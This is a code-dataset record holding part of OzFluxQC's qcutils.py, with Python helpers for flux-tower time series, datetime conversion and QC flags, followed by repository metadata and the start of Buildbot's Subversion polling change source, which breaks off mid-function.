Python datetime series in the data structure Author: PRI Date: September 2014 """ ts = int(ds.globalattributes["time_step"]) nRecs = int(ds.globalattributes["nc_nrecs"]) dt = netCDF4.num2date(time,time_units) ds.series[unicode("DateTime")] = {} ds.series["DateTime"]["Data"] = list(dt) ds.series["DateTime"]["Flag"] = numpy.zeros(nRecs) ds.series["DateTime"]["Attr"] = {} ds.series["DateTime"]["Attr"]["long_name"] = "Datetime in local timezone" ds.series["DateTime"]["Attr"]["units"] = "None" def get_datetimefromxldate(ds): ''' Creates a series of Python datetime objects from the Excel date read from the Excel file. Thanks to John Machin for the quick and dirty code see http://stackoverflow.com/questions/1108428/how-do-i-read-a-date-in-excel-format-in-python''' log.info(' Getting the Python datetime series from the Excel datetime') xldate = ds.series['xlDateTime']['Data'] nRecs = len(ds.series['xlDateTime']['Data']) datemode = int(ds.globalattributes['xl_datemode']) ds.series[unicode('DateTime')] = {} ds.series['DateTime']['Data'] = [None]*nRecs basedate = datetime.datetime(1899, 12, 30) #ldt = [basedate + datetime.timedelta(days=xldate[i] + 1462 * datemode) for i in range(nRecs)] #ds.series['DateTime']['Data'][i] = ldt for i in range(nRecs): ds.series['DateTime']['Data'][i] = basedate + datetime.timedelta(days=xldate[i] + 1462 * datemode) ds.series['DateTime']['Flag'] = numpy.zeros(nRecs) ds.series['DateTime']['Attr'] = {} ds.series['DateTime']['Attr']['long_name'] = 'Datetime in local timezone' ds.series['DateTime']['Attr']['units'] = 'None' def get_datetimefromymdhms(ds): ''' Creates a series of Python datetime objects from the year, month, day, hour, minute and second series stored in the netCDF file.''' SeriesList = ds.series.keys() if 'Year' not in SeriesList or 'Month' not in SeriesList or 'Day' not in SeriesList or 'Hour' not in SeriesList or 'Minute' not in SeriesList or 'Second' not in SeriesList: log.info(' get_datetimefromymdhms: unable to find all datetime fields required') return log.info(' Getting the date and time series') nRecs = get_nrecs(ds) ts = ds.globalattributes["time_step"] ds.series[unicode('DateTime')] = {} ds.series['DateTime']['Data'] = [None]*nRecs if "Microseconds" in ds.series.keys(): microseconds = ds.series["Microseconds"]["Data"] else: microseconds = numpy.zeros(nRecs,dtype=numpy.float64) for i in range(nRecs): #print i,int(ds.series['Year']['Data'][i]),int(ds.series['Month']['Data'][i]),int(ds.series['Day']['Data'][i]) #print i,int(ds.series['Hour']['Data'][i]),int(ds.series['Minute']['Data'][i]),int(ds.series['Second']['Data'][i]) ds.series['DateTime']['Data'][i] = datetime.datetime(int(ds.series['Year']['Data'][i]), int(ds.series['Month']['Data'][i]), int(ds.series['Day']['Data'][i]), int(ds.series['Hour']['Data'][i]), int(ds.series['Minute']['Data'][i]), int(ds.series['Second']['Data'][i]), int(microseconds[i])) ds.series['DateTime']['Flag'] = numpy.zeros(nRecs) ds.series['DateTime']['Attr'] = {} ds.series['DateTime']['Attr']['long_name'] = 'Date-time object' ds.series['DateTime']['Attr']['units'] = 'None' def get_diurnalstats(dt,data,info): ts = info["time_step"] nperday = info["nperday"] si = 0 while abs(dt[si].hour+float(dt[si].minute)/60-float(ts)/60)>c.eps: si = si + 1 ei = len(dt)-1 while abs(dt[ei].hour+float(dt[ei].minute)/60)>c.eps: ei = ei - 1 data_wholedays = data[si:ei+1] ndays = len(data_wholedays)/nperday data_2d = numpy.ma.reshape(data_wholedays,[ndays,nperday]) diel_stats = {} diel_stats["Hr"] = numpy.ma.array([i*ts/float(60) for i in range(0,nperday)]) diel_stats["Av"] = numpy.ma.average(data_2d,axis=0) diel_stats["Sd"] = numpy.ma.std(data_2d,axis=0) diel_stats["Mx"] = numpy.ma.max(data_2d,axis=0) diel_stats["Mn"] = numpy.ma.min(data_2d,axis=0) return diel_stats def get_keyvaluefromcf(cf,sections,key,default=None,mode="quiet"): """ Purpose: General return a keyword value from a control file. Usage: keyval = qcutils.get_keyvaluefromcf(cf,sections,key,default=default) where cf is a control file object from ConfigObj sections is a list of sections and nested sub-sections to search key is the keyword default is a default value Example: ncOutFileName = qcutils.get_keyvaluefromcf(cf,["Files","Out"],"ncFileName",default="") The example above will return the value for ncFileName from the ["Files"]["Out"] sub-section in the control file. Author: PRI Date: February 2015 """ if len(sections)<1: msg = " get_keyvaluefromsections: no sections specified" if mode.lower()!="quiet": log.info(msg) if sections[0] in cf: section = cf[sections[0]] if len(sections)>1: for item in sections[1:]: if item in section: section = section[item] else: msg = " get_keyvaluefromcf: Sub section "+item+" not found in control file, used default ("+str(default)+")" if mode.lower()!="quiet": log.info(msg) value = default if key in section: value = section[key] else: msg = " get_keyvaluefromcf: Key "+key+" not found in section, used default ("+str(default)+")" if mode.lower()!="quiet": log.info(msg) value = default else: msg = " get_keyvaluefromcf: Section "+sections[0]+" not found in control file, used default ("+str(default)+")" if mode.lower()!="quiet": log.error(msg) value = default return value def get_label_list_from_cf(cf): """ Purpose: Returns a list of variable labels from a control file. Usage: label_list = qcutils.get_label_list_from_cf(cf) where cf is a control file object label_list is a list of variable labels referenced in the control file. """ if "Variables" in cf: label_list = cf["Variables"].keys() elif "Drivers" in cf: label_list = cf["Drivers"].keys() elif "Fluxes" in cf: label_list = cf["Fluxes"].keys() else: label_list = [] msg = "No Variables, Drivers or Fluxes section found in control file" log.error(msg) return label_list def get_missingingapfilledseries(ds): """ Purpose: Check series in data structure and print a message to the screen if missing points are found. Usage: gfalternate_checkformissing(ds,series_list=series_list) where ds is a data structure series_list is a list of series to check Author: PRI Date: March 2015 """ # get a local pointer to the datetime ldt = ds.series["DateTime"]["Data"] # create an empty list alt_list = [] # check to see if there was any gap filling using data from alternate sources if "alternate" in dir(ds): # if so, get a list of the quantities gap filled from alternate sources alt_list = list(set([ds.alternate[item]["label_tower"] for item in ds.alternate.keys()])) # create an empty list cli_list = [] # check to see if there was any gap filling from climatology if "climatology" in dir(ds): # if so, get a list of the quantities gap filled using climatology cli_list = list(set([ds.climatology[item]["label_tower"] for item in ds.climatology.keys()])) # one list to rule them, one list to bind them ... gf_list = list(set(alt_list+cli_list)) # clear out if there was no gap filling if len(gf_list)==0: return # loop over the series to be checked gap_found = False for series in gf_list: if series not in ds.series.keys(): continue data,flag,attr = GetSeriesasMA(ds,series) idx = numpy.ma.where(data.mask==True)[0] if len(idx)!=0: gap_found = True msg = " Missing points ("+str(len(idx))+") found in "+series log.error(msg) #ldt_missing = [ldt[i] for i in idx] #msg = " The first 10 missing data is at datetimes "+str(ldt_missing[0:9]) #log.error(msg) if not gap_found: msg = " No missing values found in gap filled series" log.info(msg) def get_number_from_heightstring(height): z = str(height) if "m" in z: z = z.replace("m","") try: z = float(z) except: z = 0.0 return z def get_nrecs(ds): if 'nc_nrecs' in ds.globalattributes.keys(): nRecs = int(ds.globalattributes['nc_nrecs']) elif 'NumRecs' in ds.globalattributes.keys(): nRecs = int(ds.globalattributes['NumRecs']) else: series_list = ds.series.keys() nRecs = len(ds.series[series_list[0]]['Data']) return nRecs def get_timestep(ds): """ Purpose: Return an array of time steps in seconds between records Useage: dt = qcutils.get_timestep(ds) Author: PRI Date: February 2015 """ # local pointer to the Python datetime series ldt = ds.series["DateTime"]["Data"] # time step between records in seconds dt = numpy.array([(ldt[i]-ldt[i-1]).total_seconds() for i in range(1,len(ldt))]) return dt def get_timezone(site_name,prompt="no"): """ Return the time zone based on the site name.""" time_zone = "" found = False # strip out spaces and commas from the site name site_name = site_name.replace(" ","").replace(",","") for item in c.tz_dict.keys(): if item in site_name.lower(): time_zone = c.tz_dict[item] found = True else: # cant find the site in the dictionary so ask the user if prompt.lower()=="yes": root = Tkinter.Tk(); root.withdraw() time_zone = tkSimpleDialog.askstring("Time zone","Enter time zone eg Australia/Melbourne") root.destroy() found = True return time_zone,found def get_UTCfromlocaltime(ds): ''' Purpose: Creates a UTC datetime series in the data structure from the local datetime series. Usage: ldt_UTC = qcutils.get_UTCfromlocaltime(ds) Assumptions: No daylight savings used in the local datetime Author: PRI ''' # check the time_zone global attribute is set, we cant continue without it if "time_zone" not in ds.globalattributes.keys(): log.warning("get_UTCfromlocaltime: time_zone not in global attributes, checking elsewhere ...") if "site_name" in ds.globalattributes.keys(): site_name = ds.globalattributes["site_name"] else: log.warning("get_UTCfromlocaltime: site_name not in global attributes, skipping UTC calculation ...") return time_zone,found = get_timezone(site_name,prompt="no") if not found: log.warning("get_UTCfromlocaltime: site_name not in time zone dictionary") return else: log.info("get_UTCfromlocaltime: time_zone found in time zone dictionary") ds.globalattributes["time_zone"] = time_zone log.info(' Getting the UTC datetime from the local datetime') # get the number of records nRecs = len(ds.series['xlDateTime']['Data']) # get the time zone tz = ds.globalattributes["time_zone"] # create a timezone object loc_tz = pytz.timezone(tz) # local pointer to the datetime series in ds ldt = ds.series["DateTime"]["Data"] # localise the datetime by assigning a time zone ldt_loc = [loc_tz.localize(dt) for dt in ldt] # remove any daylight saving time ldt_loc_nodst = [dt+dt.dst() for dt in ldt_loc] # convert to UTC ldt_utc = [dt.astimezone(pytz.utc) for dt in ldt_loc_nodst] return ldt_utc def get_xldatefromdatetime(ds): ''' Purpose: Returns a list of xldatetime (floating point number represent decimal days since 00:00 1/1/1900) from a list of Python datetimes Usage: qcutils.get_xldatefromdatetime(ds) Assumptions: The Excel datetime series ("xlDateTime") exists in the data structure ds. Author: PRI ''' # get the datemode of the original Excel spreadsheet if "xl_datemode" in ds.globalattributes.keys(): datemode = int(ds.globalattributes["xl_datemode"]) else: datemode = int(0) nRecs = int(ds.globalattributes["nc_nrecs"]) # get the Excel datetime series, flag and attributes if "xlDateTime" in ds.series.keys(): xldt_org,xldt_flag,xldt_attr = GetSeriesasMA(ds,"xlDateTime") else: xldt_flag = numpy.zeros(nRecs,dtype=numpy.int32) xldt_attr = MakeAttributeDictionary(long_name="Date/time in Excel format",units="days since 1899-12-31 00:00:00") # get a local pointer to the Python DateTime series in ds ldt = ds.series["DateTime"]["Data"] # get a list of Excel datetimes from the Python datetime objects xldate = [xlrd.xldate.xldate_from_datetime_tuple((ldt[i].year, ldt[i].month, ldt[i].day, ldt[i].hour, ldt[i].minute, ldt[i].second), datemode) for i in range(0,len(ldt))] xldt_new = numpy.ma.array(xldate, dtype=numpy.float64) # overwrite the existing Excel datetime series CreateSeries(ds,"xlDateTime",xldt_new,Flag=xldt_flag,Attr=xldt_attr) def get_ymdhmsfromdatetime(ds): ''' Purpose: Gets the year, month, day, hour, minute and second from a list of Python datetimes. The Python datetime series is read from the input data structure and the results are written back to the data structure. Usage: qcutils.get_ymdhmsfromdatetime(ds) Assumptions: None Author: PRI ''' nRecs = int(ds.globalattributes["nc_nrecs"]) dt = ds.series["DateTime"]["Data"] flag = numpy.zeros(nRecs,dtype=numpy.int32) Year = numpy.array([dt[i].year for i in range(0,nRecs)]).astype(numpy.int32) Month = numpy.array([dt[i].month for i in range(0,nRecs)]).astype(numpy.int32) Day = numpy.array([dt[i].day for i in range(0,nRecs)]).astype(numpy.int32) Hour = numpy.array([dt[i].hour for i in range(0,nRecs)]).astype(numpy.int32) Minute = numpy.array([dt[i].minute for i in range(0,nRecs)]).astype(numpy.int32) Second = numpy.array([dt[i].second for i in range(0,nRecs)]).astype(numpy.int32) Hdh = numpy.array([float(Hour[i])+float(Minute[i])/60. for i in range(0,nRecs)]).astype(numpy.float64) Ddd = numpy.array([(dt[i] - datetime.datetime(Year[i],1,1)).days+1+Hdh[i]/24. for i in range(0,nRecs)]).astype(numpy.float64) CreateSeries(ds,'Year',Year,Flag=flag,Attr=MakeAttributeDictionary(long_name='Year',units='none')) CreateSeries(ds,'Month',Month,Flag=flag,Attr=MakeAttributeDictionary(long_name='Month',units='none')) CreateSeries(ds,'Day',Day,Flag=flag,Attr=MakeAttributeDictionary(long_name='Day',units='none')) CreateSeries(ds,'Hour',Hour,Flag=flag,Attr=MakeAttributeDictionary(long_name='Hour',units='none')) CreateSeries(ds,'Minute',Minute,Flag=flag,Attr=MakeAttributeDictionary(long_name='Minute',units='none')) CreateSeries(ds,'Second',Second,Flag=flag,Attr=MakeAttributeDictionary(long_name='Second',units='none')) CreateSeries(ds,'Hdh',Hdh,Flag=flag,Attr=MakeAttributeDictionary(long_name='Decimal hour of the day',units='none')) CreateSeries(ds,'Ddd',Ddd,Flag=flag,Attr=MakeAttributeDictionary(long_name='Decimal day of the year',units='none')) def get_ymdhmsfromxldate(ds): """ Gets year, month, day, hour, and if available seconds, from excel-formatted Timestamp Usage qcts.get_ymdhmsfromxldate(ds) cf: control file ds: data structure """ log.info(' Getting date and time variables') # get the date mode of the original Excel datetime datemode = int(ds.globalattributes['xl_datemode']) nRecs = len(ds.series['xlDateTime']['Data']) Year = numpy.array([c.missing_value]*nRecs,numpy.int32) Month = numpy.array([c.missing_value]*nRecs,numpy.int32) Day = numpy.array([c.missing_value]*nRecs,numpy.int32) Hour = numpy.array([c.missing_value]*nRecs,numpy.int32) Minute = numpy.array([c.missing_value]*nRecs,numpy.int32) Second = numpy.array([c.missing_value]*nRecs,numpy.int32) Hdh = numpy.array([c.missing_value]*nRecs,numpy.float64) Ddd = numpy.array([c.missing_value]*nRecs,numpy.float64) flag = numpy.zeros(nRecs) for i in range(nRecs): DateTuple = xlrd.xldate_as_tuple(ds.series['xlDateTime']['Data'][i],datemode) Year[i] = int(DateTuple[0]) Month[i] = int(DateTuple[1]) Day[i] = int(DateTuple[2]) Hour[i] = int(DateTuple[3]) Minute[i] = int(DateTuple[4]) Second[i] = int(DateTuple[5]) Hdh[i] = float(DateTuple[3])+float(DateTuple[4])/60. Ddd[i] = ds.series['xlDateTime']['Data'][i] - xlrd.xldate.xldate_from_date_tuple((Year[i],1,1),datemode) + 1 CreateSeries(ds,'Year',Year,Flag=flag,Attr=MakeAttributeDictionary(long_name='Year',units='none')) CreateSeries(ds,'Month',Month,Flag=flag,Attr=MakeAttributeDictionary(long_name='Month',units='none')) CreateSeries(ds,'Day',Day,Flag=flag,Attr=MakeAttributeDictionary(long_name='Day',units='none')) CreateSeries(ds,'Hour',Hour,Flag=flag,Attr=MakeAttributeDictionary(long_name='Hour',units='none')) CreateSeries(ds,'Minute',Minute,Flag=flag,Attr=MakeAttributeDictionary(long_name='Minute',units='none')) CreateSeries(ds,'Second',Second,Flag=flag,Attr=MakeAttributeDictionary(long_name='Second',units='none')) CreateSeries(ds,'Hdh',Hdh,Flag=flag,Attr=MakeAttributeDictionary(long_name='Decimal hour of the day',units='none')) CreateSeries(ds,'Ddd',Ddd,Flag=flag,Attr=MakeAttributeDictionary(long_name='Decimal day of the year',units='none')) def haskey(cf,ThisOne,key): return key in cf['Variables'][ThisOne].keys() def incf(cf,ThisOne): return ThisOne in cf['Variables'].keys() def linear_function(B,x): """ Purpose: Linear function for use with orthogonal distance regression. Usage: linear = scipy.odr.Model(qcutils.linear_function) where B is a list of slope and offset values x is an array of x values """ return B[0]*x + B[1] def MakeAttributeDictionary(**kwargs): """ Purpose: Make an attribute dictionary. Usage: attr_new = qcutils.MakeAttributeDictionary(long_name = "some string",attr_exist) where long_name is an attribute to be written to the new attribute dictionary attr_exist is an existing attribute dictionary Author: PRI Date: Back in the day """ default_list = ["ancillary_variables","height","instrument","long_name","serial_number","standard_name", "units","valid_range"] attr = {} for item in kwargs: if isinstance(item, dict): for entry in item: attr[entry] = item[entry] else: attr[item] = kwargs.get(item,"not defined") if item in default_list: default_list.remove(item) if len(default_list)!=0: for item in default_list: if item == "valid_range": attr[item] = str(c.small_value)+","+str(c.large_value) else: attr[item] = "not defined" attr["missing_value"] = c.missing_value return copy.deepcopy(attr) def MakeQCFlag(ds,SeriesList): flag = [] if len(SeriesList)<=0: #log.info(' MakeQCFlag: no series list specified') pass if len(SeriesList)==1: if SeriesList[0] in ds.series.keys(): flag = ds.series[SeriesList[0]]['Flag'].copy() else: log.error(' MakeQCFlag: series '+str(SeriesList[0])+' not in ds.series') if len(SeriesList)>1: for ThisOne in SeriesList: if ThisOne in ds.series.keys(): if len(flag)==0: #flag = numpy.ones(numpy.size(ds.series[ThisOne]['Flag'])) flag = ds.series[ThisOne]['Flag'].copy() else: tmp_flag = ds.series[ThisOne]['Flag'].copy() # get a temporary copy of the flag index = numpy.where(numpy.mod(tmp_flag,10)==0) # find the elements with flag = 0, 10, 20 etc tmp_flag[index] = 0 # set them all to 0 flag = numpy.maximum(flag,tmp_flag) # now take the maximum else: log.error(' MakeQCFlag: series '+ThisOne+' not in ds.series') return flag.astype(numpy.int32) def MAtoSeries(Series): """ Convert a masked array to a numpy ndarray with masked elements set to c.missing_value. Useage: Series, WasMA = MAtoSeries(Series) where: Series (input) is the data series to be converted. WasMA (returned) is a logical, True if the input series was a masked array. Series (output) is the input series convered to an ndarray with c.missing_value values for missing data. """ WasMA = False if numpy.ma.isMA(Series): WasMA = True Series = numpy.ma.filled(Series,float(c.missing_value)) return Series, WasMA def MergeQCFlag(QCFlag_list): """ Merge a list of QC flags by taking the element-wise maximum.""" if len(QCFlag_list)==0: return None if len(QCFlag_list)==1: return QCFlag_list[0] flag = QCFlag_list[0].copy() # get a copy of the first flag for item in QCFlag_list[1:]: # loop over the list of flags tmp_flag = item.copy() # get a copy of the next flag index = numpy.where(numpy.mod(tmp_flag,10)==0) # find the elements with flag = 0, 10, 20 etc tmp_flag[index] = 0 # set them all to 0 flag = numpy.maximum(flag,tmp_flag) # now take the maximum return flag def nxMom_nxScalar_alpha(zoL): nRecs = numpy.size(zoL) nxMom = numpy.ma.ones(nRecs) * 0.079 nxScalar = numpy.ma.ones(nRecs) * 0.085 alpha = numpy.ma.ones(nRecs) * 0.925 # get the index of stable conditions stable = numpy.ma.where(zoL>0)[0] # now set the series to their stable values nxMom[stable] = 0.079 * (1 + 7.9 * zoL[stable]) ** 0.75 nxScalar[stable] = 2.0 - 1.915 / (1 + 0.5 * zoL[stable]) alpha[stable] = 1 return nxMom, nxScalar, alpha def path_exists(pathname,mode="verbose"): if not os.path.isdir(pathname): if mode=="verbose": log.error(' Path '+pathname+' not found') return False else: return True def perdelta(start, end, delta): """ Yields an iterator of datetime objects from start to end with time step delta. """ curr = start while curr <= end: yield curr curr += delta def polyval(p,x): """ Replacement for the polyval routine in numpy. This version doesnt check the input variables to make sure they are array_like. This means that when masked arrays are treated correctly when they are passed to this routine. Parameters ---------- p : a 1D array of coefficients, highest order first x : a 1D array of points at which to evaluate the polynomial described by the coefficents in p Example ------- >>> x = numpy.array([1,2,3]) >>> p = numpy.array([2,0]) >>> qcutils.polyval(p,x) array([2,4,6]) >>> y = numpy.array([1,c.missing_value,3]) >>> y = numpy.ma.masked_where(y==c.missing_value,y) >>> qcutils.polyval(p,y) masked_array(data = [2 -- 6], mask = [False True False], fill_value = 999999) """ y = 0 for i in range(len(p)): y = x*y + p[i] return y def rounddttots(dt,ts=30): dt += datetime.timedelta(minutes=int(ts/2)) dt -= datetime.timedelta(minutes=dt.minute % int(ts),seconds=dt.second,microseconds=dt.microsecond) return dt def rounddttoseconds(dt): dt += datetime.timedelta(seconds=0.5) dt -= datetime.timedelta(seconds=dt.second % 1,microseconds=dt.microsecond) return dt def round_datetime(ds,mode="nearest_timestep"): """ Purpose: Round the series of Python datetimes to the nearest time based on mode Usage: qcutils.round_datetime(ds,mode=mode) where; mode = "nearest_second" rounds to the nearesy second mode = "nearest_timestep" rounds to the nearest time step Author: PRI Date: February 2015 """ # local pointer to the datetime series ldt = ds.series["DateTime"]["Data"] # check which rounding option has been chosen if mode.lower()=="nearest_timestep": # get the time step if "time_step" in ds.globalattributes: ts = int(ds.globalattributes["time_step"]) else: ts = numpy.mean(get_timestep(ds)/60) ts = roundtobase(ts,base=30) ds.globalattributes["time_step"] = ts # round to the nearest time step rldt = [rounddttots(dt,ts=ts) for dt in ldt] elif mode.lower()=="nearest_second": # round to the nearest second rldt = [rounddttoseconds(dt) for dt in ldt] else: # unrecognised option for mode, return original datetime series log.error(" round_datetime: unrecognised mode ("+str(mode)+")"+" ,returning original time series") rldt = ds.series["DateTime"]["Data"] # replace the original datetime series with the rounded one ds.series["DateTime"]["Data"] = rldt def roundtobase(x,base=5): return int(base*round(float(x)/base)) def round2sig(x,sig=2): ''' Round a float to a specified number of significant digits (default is 2). ''' return round(x, sig-int(math.floor(math.log10(abs(x))))-1) def r(b, p, alpha): """ Function to calculate the r coeficient of the Massman frequency correction. """ r = ((b ** alpha) / (b ** alpha + 1)) * \ ((b ** alpha) / (b ** alpha + p ** alpha)) * \ (1 / (p ** alpha + 1)) return r def SeriestoMA(Series): """ Convert a numpy ndarray to a masked array. Useage: Series, WasND = SeriestoMA(Series) where: Series (input) is the data series to be converted. WasND (returned) is a logical, True if the input series was an ndarray Series (output) is the input series convered to a masked array. """ WasND = False if not numpy.ma.isMA(Series): WasND = True Series = numpy.ma.masked_where(abs(Series-numpy.float64(c.missing_value))<c.eps,Series) return Series, WasND def SetUnitsInds(ds, ThisOne, units): ds.series[ThisOne]['Attr']['units'] = units def startlog(loggername,loggerfile): logger = logging.getLogger(loggername) logger.setLevel(logging.DEBUG) fh = logging.FileHandler(loggerfile) fh.setLevel(logging.DEBUG) ch = logging.StreamHandler() ch.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s', '%H:%M:%S') #formatter = logging.Formatter('%(asctime)s %(name)-8s %(levelname)-6s %(message)s', '%d-%m-%y %H:%M') fh.setFormatter(formatter) ch.setFormatter(formatter) logger.addHandler(fh) logger.addHandler(ch) return logger def UpdateGlobalAttributes(cf,ds,level): ds.globalattributes["nc_level"] = str(level) ds.globalattributes["EPDversion"] = sys.version # put the control file name into the global attributes ds.globalattributes["controlfile_name"] = cf["controlfile_name"] if "Global" in cf: for item in cf["Global"].keys(): if item not in ds.globalattributes.keys(): ds.globalattributes[item] = cf["Global"][item].replace("\n"," ").replace("\r","") def update_progress(progress): barLength = 50 # Modify this to change the length of the progress bar status = "" if isinstance(progress, int): progress = float(progress) if not isinstance(progress, float): progress = 0 status = "error: progress var must be float\r\n" if progress < 0: progress = 0 status = "Halt...\r\n" if progress >= 1: progress = 1 status = "Done...\r\n" block = int(round(barLength*progress)) progress = round(progress,2) text = "\rPercent: [{0}] {1}% {2}".format( "#"*block + "-"*(barLength-block), progress*100, status) sys.stdout.write(text) sys.stdout.flush()
OzFlux/OzFluxQC
scripts/qcutils.py
Python
gpl-3.0
82,118
[ "NetCDF" ]
44994994c3d1130bbde47374cf4e462d7d904d353b247b65a032c01f98e9d1e3
# This file is part of Buildbot. Buildbot is free software: you can # redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation, version 2. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., 51 # Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # # Copyright Buildbot Team Members # Based on the work of Dave Peticolas for the P4poll # Changed to svn (using xml.dom.minidom) by Niklaus Giger # Hacked beyond recognition by Brian Warner from __future__ import absolute_import from __future__ import print_function from future.moves.urllib.parse import quote_plus as urlquote_plus from future.utils import text_type import os import xml.dom.minidom from twisted.internet import defer from twisted.internet import utils from twisted.python import log from buildbot import util from buildbot.changes import base from buildbot.util import bytes2unicode # these split_file_* functions are available for use as values to the # split_file= argument. def split_file_alwaystrunk(path): return dict(path=path) def split_file_branches(path): # turn "trunk/subdir/file.c" into (None, "subdir/file.c") # and "trunk/subdir/" into (None, "subdir/") # and "trunk/" into (None, "") # and "branches/1.5.x/subdir/file.c" into ("branches/1.5.x", "subdir/file.c") # and "branches/1.5.x/subdir/" into ("branches/1.5.x", "subdir/") # and "branches/1.5.x/" into ("branches/1.5.x", "") pieces = path.split('/') if len(pieces) > 1 and pieces[0] == 'trunk': return (None, '/'.join(pieces[1:])) elif len(pieces) > 2 and pieces[0] == 'branches': return ('/'.join(pieces[0:2]), '/'.join(pieces[2:])) return None def split_file_projects_branches(path): # turn projectname/trunk/subdir/file.c into dict(project=projectname, # branch=trunk, path=subdir/file.c) if "/" not in path: return None project, path = path.split("/", 1) f = split_file_branches(path) if f: info = dict(project=project, path=f[1]) if f[0]: info['branch'] = f[0] return info return f class SVNPoller(base.PollingChangeSource, util.ComparableMixin): """ Poll a Subversion repository for changes and submit them to the change master. """ compare_attrs = ("repourl", "split_file", "svnuser", "svnpasswd", "project", "pollInterval", "histmax", "svnbin", "category", "cachepath", "pollAtLaunch") secrets = ("svnuser", "svnpasswd") parent = None # filled in when we're added last_change = None loop = None def __init__(self, repourl, split_file=None, svnuser=None, svnpasswd=None, pollInterval=10 * 60, histmax=100, svnbin='svn', revlinktmpl='', category=None, project='', cachepath=None, pollinterval=-2, extra_args=None, name=None, pollAtLaunch=False): # for backward compatibility; the parameter used to be spelled with 'i' if pollinterval != -2: pollInterval = pollinterval if name is None: name = repourl base.PollingChangeSource.__init__(self, name=name, pollInterval=pollInterval, pollAtLaunch=pollAtLaunch, svnuser=svnuser, svnpasswd=svnpasswd) if repourl.endswith("/"): repourl = repourl[:-1] # strip the trailing slash self.repourl = repourl self.extra_args = extra_args self.split_file = split_file or split_file_alwaystrunk self.svnuser = svnuser self.svnpasswd = svnpasswd self.revlinktmpl = revlinktmpl # include environment variables required for ssh-agent auth self.environ = os.environ.copy() self.svnbin = svnbin self.histmax = histmax self._prefix = None self.category = category if callable( category) else util.bytes2unicode(category) self.project = util.bytes2unicode(project) self.cachepath = cachepath if self.cachepath and os.path.exists(self.cachepath): try: with open(self.cachepath, "r") as f: self.last_change = int(f.read().strip()) log.msg("SVNPoller: SVNPoller(%s) setting last_change to %s" % ( self.repourl, self.last_change)) # try writing it, too with open(self.cachepath, "w") as f: f.write(str(self.last_change)) except Exception: self.cachepath = None log.msg(("SVNPoller: SVNPoller(%s) cache file corrupt or unwriteable; " + "skipping and not using") % self.repourl) log.err() def describe(self): return "SVNPoller: watching %s" % self.repourl def poll(self): # Our return value is only used for unit testing. # we need to figure out the repository root, so we can figure out # repository-relative pathnames later. Each REPOURL is in the form # (ROOT)/(PROJECT)/(BRANCH)/(FILEPATH), where (ROOT) is something # like svn://svn.twistedmatrix.com/svn/Twisted (i.e. there is a # physical repository at /svn/Twisted on that host), (PROJECT) is # something like Projects/Twisted (i.e. within the repository's # internal namespace, everything under Projects/Twisted/ has # something to do with Twisted, but these directory names do not # actually appear on the repository host), (BRANCH) is something like # "trunk" or "branches/2.0.x", and (FILEPATH) is a tree-relative # filename like "twisted/internet/defer.py". # our self.repourl attribute contains (ROOT)/(PROJECT) combined # together in a way that we can't separate without svn's help. If the # user is not using the split_file= argument, then self.repourl might # be (ROOT)/(PROJECT)/(BRANCH) . In any case, the filenames we will # get back from 'svn log' will be of the form # (PROJECT)/(BRANCH)/(FILEPATH), but we want to be able to remove # that (PROJECT) prefix from them. To do this without requiring the # user to tell us how repourl is split into ROOT and PROJECT, we do an # 'svn info --xml' command at startup. This command will include a # <root> element that tells us ROOT. We then strip this prefix from # self.repourl to determine PROJECT, and then later we strip the # PROJECT prefix from the filenames reported by 'svn log --xml' to # get a (BRANCH)/(FILEPATH) that can be passed to split_file() to # turn into separate BRANCH and FILEPATH values. # whew. if self.project: log.msg("SVNPoller: polling " + self.project) else: log.msg("SVNPoller: polling") d = defer.succeed(None) if not self._prefix: d.addCallback(lambda _: self.get_prefix()) @d.addCallback def set_prefix(prefix): self._prefix = prefix d.addCallback(self.get_logs) d.addCallback(self.parse_logs) d.addCallback(self.get_new_logentries) d.addCallback(self.create_changes) d.addCallback(self.submit_changes) d.addCallback(self.finished_ok) # eat errors d.addErrback(log.err, 'SVNPoller: Error in while polling') return d def getProcessOutput(self, args): # this exists so we can override it during the unit tests d = utils.getProcessOutput(self.svnbin, args, self.environ) return d def get_prefix(self): args = ["info", "--xml", "--non-interactive", self.repourl] if self.svnuser: args.append("--username=%s" % self.svnuser) if self.svnpasswd is not None: args.append("--password=%s" % self.svnpasswd) if self.extra_args: args.extend(self.extra_args) d = self.getProcessOutput(args) @d.addCallback def determine_prefix(output): try: doc = xml.dom.minidom.parseString(output) except xml.parsers.expat.ExpatError: log.msg("SVNPoller: SVNPoller.get_prefix: ExpatError in '%s'" % output) raise rootnodes = doc.getElementsByTagName("root") if not rootnodes: # this happens if the URL we gave was already the root. In this # case, our prefix is empty. self._prefix = "" return self._prefix rootnode = rootnodes[0] root = "".join([c.data for c in rootnode.childNodes]) # root will be a unicode string if not self.repourl.startswith(root): log.msg(format="Got root %(root)r from `svn info`, but it is " "not a prefix of the configured repourl", repourl=self.repourl, root=root) raise RuntimeError("Configured repourl doesn't match svn root") prefix = self.repourl[len(root):] if prefix.startswith("/"): prefix = prefix[1:] log.msg("SVNPoller: repourl=%s, root=%s, so prefix=%s" % (self.repourl, root, prefix)) return prefix return d def get_logs(self, _): args = [] args.extend(["log", "--xml", "--verbose", "--non-interactive"]) if self.svnuser: args.extend(["--username=%s" % self.svnuser]) if self.svnpasswd is not None: args.extend(["--password=%s" % self.svnpasswd]) if self.extra_args: args.extend(self.extra_args) args.extend(["--limit=%d" % (self.histmax), self.repourl]) d = self.getProcessOutput(args) return d def parse_logs(self, output): # parse the XML output, return a list of <logentry> nodes try: doc = xml.dom.minidom.parseString(output) except xml.parsers.expat.ExpatError: log.msg( "SVNPoller: SVNPoller.parse_logs: ExpatError in '%s'" % output) raise logentries = doc.getElementsByTagName("logentry") return logentries def get_new_logentries(self, logentries): last_change = old_last_change = self.last_change # given a list of logentries, calculate new_last_change, and # new_logentries, where new_logentries contains only the ones after # last_change new_last_change = None new_logentries = [] if logentries: new_last_change = int(logentries[0].getAttribute("revision")) if last_change is None: # if this is the first time we've been run, ignore any changes # that occurred before now. This prevents a build at every # startup. log.msg('SVNPoller: starting at change %s' % new_last_change) elif last_change == 